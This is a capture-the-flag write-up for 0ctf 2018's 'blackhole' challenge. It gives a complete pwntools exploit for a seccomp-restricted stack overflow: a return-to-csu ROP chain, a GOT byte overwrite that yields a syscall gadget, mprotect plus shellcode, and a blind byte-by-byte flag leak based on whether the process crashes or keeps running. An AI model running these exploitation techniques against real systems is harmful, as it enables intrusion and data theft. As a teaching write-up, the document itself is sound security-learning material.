0ctf 2018 quals - blackhole

Can get the flag from a black hole?

By the way, here is a so called return-to-csu method which you may want to know :P (though personally thought this should be well-known in 2018)

202.120.7.203:666

In memory of Stephen William Hawking (1942–2018). Attachment: blackhole libc pow.py xpl.py

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Though in contrary to babystack, we’re provided the used libc this time, but that doesn’t makes it easier to pwn it…

void main()
{
  init_seccomp();
  vuln();  
}

void vuln()
{
  char buf; 

  read(0, &buf, 256);
}

So, we have an obvious buffer overflow here, but there are some seccomp rules in place, which only allow very few syscalls

  • read
  • open
  • close
  • mprotect
  • exit
  • exit_group

limiting us pretty much in what we can do to exfiltrate the flag from the server. It seems, we won’t get the binary to print out anything to us, so no leaks and if we can read the flag, no way to send it back to us.

Well, let’s start with gaining rip access and executing functions. In order to use read for anything useful, we need to control rdi, rsi and rdx. While there are simple pop gadgets for rsi and rdi, there isn’t one for rdx.

But we can get around this, by using the following two gadgets in combination

gdb-peda$ x/7i 0x000000000400A4A
   0x400a4a:  pop    rbx
   0x400a4b:  pop    rbp
   0x400a4c:  pop    r12
   0x400a4e:  pop    r13
   0x400a50:  pop    r14
   0x400a52:  pop    r15
   0x400a54:  ret

With this, we’ll control rbx, rbp, r12, r13, r14 and r15.

Combined with this one:

gdb-peda$ x/15i 0x0000000000400A30
   0x400a30:  mov    rdx,r13
   0x400a33:  mov    rsi,r14
   0x400a36:  mov    edi,r15d
   0x400a39:  call   QWORD PTR [r12+rbx*8]
   0x400a3d:  add    rbx,0x1
   0x400a41:  cmp    rbx,rbp
   0x400a44:  jne    0x400a30
   0x400a46:  add    rsp,0x8
   0x400a4a:  pop    rbx
   0x400a4b:  pop    rbp
   0x400a4c:  pop    r12
   0x400a4e:  pop    r13
   0x400a50:  pop    r14
   0x400a52:  pop    r15
   0x400a54:  ret

we thus control rdx, rsi and edi. The following call, will call any function, whose address is stored at r12 + rbx*8, and since we also control r12 and rbx, we can define, which function should be called.

# pop rbx / rbp / r12 / r13 / r14 / r15
PGAD = 0x000000000400A4A

# mov rdx, r13 / mov rsi, r14 / mov edi, r15 / call r12 + rbx*8
CALL = 0x0000000000400A30

def call_func(funcptr, rdi, rsi, rdx, rbx_after=0, rbp_after=0, r12_after=0, r13_after=0, r14_after=0, r15_after=0):
    payload = ""
    payload += p64(PGAD)
    payload += p64(0x0)             # rbx
    payload += p64(0x1)             # rbp (1 to get more calls)
    payload += p64(funcptr)         # r12 (func to call)
    payload += p64(rdx)             # r13 => rdx
    payload += p64(rsi)             # r14 => rsi
    payload += p64(rdi)             # r15 => rdi
    payload += p64(CALL)
    payload += "A"*8
    payload += p64(rbx_after)
    payload += p64(rbp_after)
    payload += p64(r12_after)
    payload += p64(r13_after)
    payload += p64(r14_after)
    payload += p64(r15_after)

    return payload

We’ll be using this to read another ropchain, with a bit more space and also to a known address:

log.info("Stage1: Prepare bigger ropchain (on bss)")
    
payload = ""
payload += "A"*32
payload += p64(0x601150)

...

payload += call_func(e.got["read"], 0, 0x601150, off, 0x0, 0x601150 -8)
payload += p64(LEAVERET)
payload += "B"*(256-len(payload))

This reads another ropchain to 0x601150, puts 0x601150 - 8 into rbp and the following leave; ret will pivot the stack to this new ropchain.

Still, we only have calls to read and alarm available, but since we have the provided libc, we can abuse read to change this.

alarm:
000b8180   mov eax, 0x25
000b8185   syscall                      # we want to call this
000b8187   cmp rax, 0xfffffffffffff001
000b818d   jae 0xb8190
000b818f   retn

Since the last 3 nibbles of an address won’t be randomized by ASLR, we can overwrite the LSB of alarm got with 0x85 to change it into a neat syscall gadget.

log.info("Stage2: Send second ropchain (known address)")

# overwrite LSB of alarm to get a syscall gadget
payload += call_func(e.got["read"], 0, e.got["alarm"], 1)      

[SNIP]

# alarm => syscall gadget
payload += p8(0x85)

So, now we can trigger a syscall by calling alarm@plt. We now just need a proper way to set rax to the desired syscall (we’ll be using mprotect (10)).

Again, we can use read for this, because it will store the count of read bytes in rax, so we’ll just be doing a read(0, 0x601500, 10), resulting in rax to be set to 0xa (10):

payload += call_func(e.got["read"], 0, 0x601500, 10)            # set rax to mprotect

Now we can call alarm@plt to trigger mprotect, which we use to set protection of bss to rwx:

payload += call_func(e.got["alarm"], 0x00601000, 0x1000, 0x7)   # call mprotect(0x601000, 0x1000, 0x7)
payload += p64(0x6012e0)                                        # jump to shellcode
payload += "flag\x00"                                           # maybe we'll be needing this string ;)
payload = payload.ljust(656, "\x00")
payload += SC                                                   # shellcode

Having an rwx bss, enables us to put some shellcode there and jump to it (with p64(0x6012e0)).

But still, seccomp will hurt us, if we try to print out the flag. So what else can we do.

Remember blind sql injection? Well, we can do something similar here:

  • Open the flag file
  • Read the string to a known address
  • Get a character at a specific offset
  • Compare it to a value
  • If the character is bigger, jump to a good branch (go into infinite loop for example), else to a bad branch (exit the program)
  • Check if the service is still available (condition met) or if it exited directly (condition not met)
context.arch = "amd64"

# Read flag and compare char at offset with comp value
# exit if condition false / loop if condition true    
SC = """
    mov rax, 2
    mov rdi, 0x6012c0
    mov rsi, 0
    mov rdx, 0
    syscall

    xchg rax, rdi
    xor rax, rax
    mov rsi, 0x601600
    mov rdx, 60
    syscall

    mov rcx, 0x601600
    add rcx, %d
    mov al, byte ptr [rcx]
    cmp al, %d
    jge good

    bad:
    mov rax, 60
    syscall

    good:
    mov rax, 0
    mov rdi, 0
    mov rsi, 0x601500
    mov rdx, 0x100
    syscall
    jmp good
""" % (offset, compval)

We put the filename flag already into bss at 0x6012c0, so this shellcode will open it, read the content to 0x601600, get the byte at offset from 0x601600 and compare it with compval. If it’s greater or equal it will jump to good, which basically just puts the binary into an infinite loop. Otherwise it will exit directly.

Armed with this, we can write a testchar method, which will compare a value at a given offset with a specific compare value (It will need to open a connection for every test, though).

def testchar(offset, compval):
    log.info("Solve pow")

    sol = None

    while sol == None:
        r = get_connection()
        
        sol = calcpow(r.recvline().strip())

        if sol == None:
            r.close()

    r.send(sol)
    
    log.info("Stage1: Prepare bigger ropchain (on bss)")
    
    payload = ""
    payload += "A"*32
    payload += p64(0x601150)

    context.arch = "amd64"
    
    # Read flag and compare char at offset with comp value
    # exit if condition false / loop if condition true    
    SC = """
        mov rax, 2
        mov rdi, 0x6012c0
        mov rsi, 0
        mov rdx, 0
        syscall

        xchg rax, rdi
        xor rax, rax
        mov rsi, 0x601600
        mov rdx, 60
        syscall

        mov rcx, 0x601600
        add rcx, %d
        mov al, byte ptr [rcx]
        cmp al, %d
        jge good

        bad:
        mov rax, 60
        syscall

        good:
        mov rax, 0
        mov rdi, 0
        mov rsi, 0x601500
        mov rdx, 0x100
        syscall
        jmp good
    """ % (offset, compval)

    SC = asm(SC)

    off = 656-256+len(SC)

    payload += call_func(e.got["read"], 0, 0x601150, off, 0x0, 0x601150 -8)
    payload += p64(LEAVERET)
    payload += "B"*(256-len(payload))
    
    log.info("Stage2: Send second ropchain (known address)")

    # overwrite LSB of alarm to get a syscall gadget
    payload += call_func(e.got["read"], 0, e.got["alarm"], 1)
    payload += call_func(e.got["read"], 0, 0x601500, 10)            # set rax to mprotect  
    payload += call_func(e.got["alarm"], 0x00601000, 0x1000, 0x7)   # syscall
    payload += p64(0x6012e0)
    payload += "flag\x00"
    
    payload = payload.ljust(656, "\x00")
    payload += SC

    # alarm => syscall gadget
    payload += p8(0x85)

    payload += "B"*(0x800-len(payload))

    r.sendline(payload)

    try:
        r.recv(1, timeout=1)  # check if service is still alive
        r.close()
        return True
    except:
        r.close()
        return False

This method will return True or False, depending if our compare value is greater/equal to the current character in the file.

With this we can do a binary search for every character:

def brute_flag():
    result = ""

    # binary search => read flag
    while (True):
        range_low = 0
        range_high = 128

        for i in range(0, 8):
            testch = (range_high + range_low)/2

            print "Test: %s" % chr(testch)

            res = testchar(len(result), testch)

            if res:
                range_low = testch
            else:
                range_high = testch

        if testch == 0:
            break

        result += chr(testch)
        print "Found: %s" % result

    return result

This will need 8 connections per character to find the correct character (and it has to solve the proof of work every time, so it will take even more sigh). So, grab a coffee, since this will take quite some time until the flag is finally found, but it will work out in the end :)

$ python blackhole.py 1
[*] '/home/kileak/pwn/Challenges/0ctf18/pwn/blackhole/blackhole'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Closed connection to 202.120.7.203 port 666
Test: @
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: `
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: p
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: h
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: d
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: f
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: g
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: f
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Closed connection to 202.120.7.203 port 666
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Found: f
Test: @
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: `
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: p
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: h
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: l
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: n
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: m
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: l
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Found: fl
Test: @
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Closed connection to 202.120.7.203 port 666

[SNIP]

[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Found: flag{even_black_holes_leak_information_by_Hawking_radiation}

...

That took some time, so I’m quite curious, if someone comes up with a more elegant and quicker method of getting the flag out of this, but well, a flag is a flag :)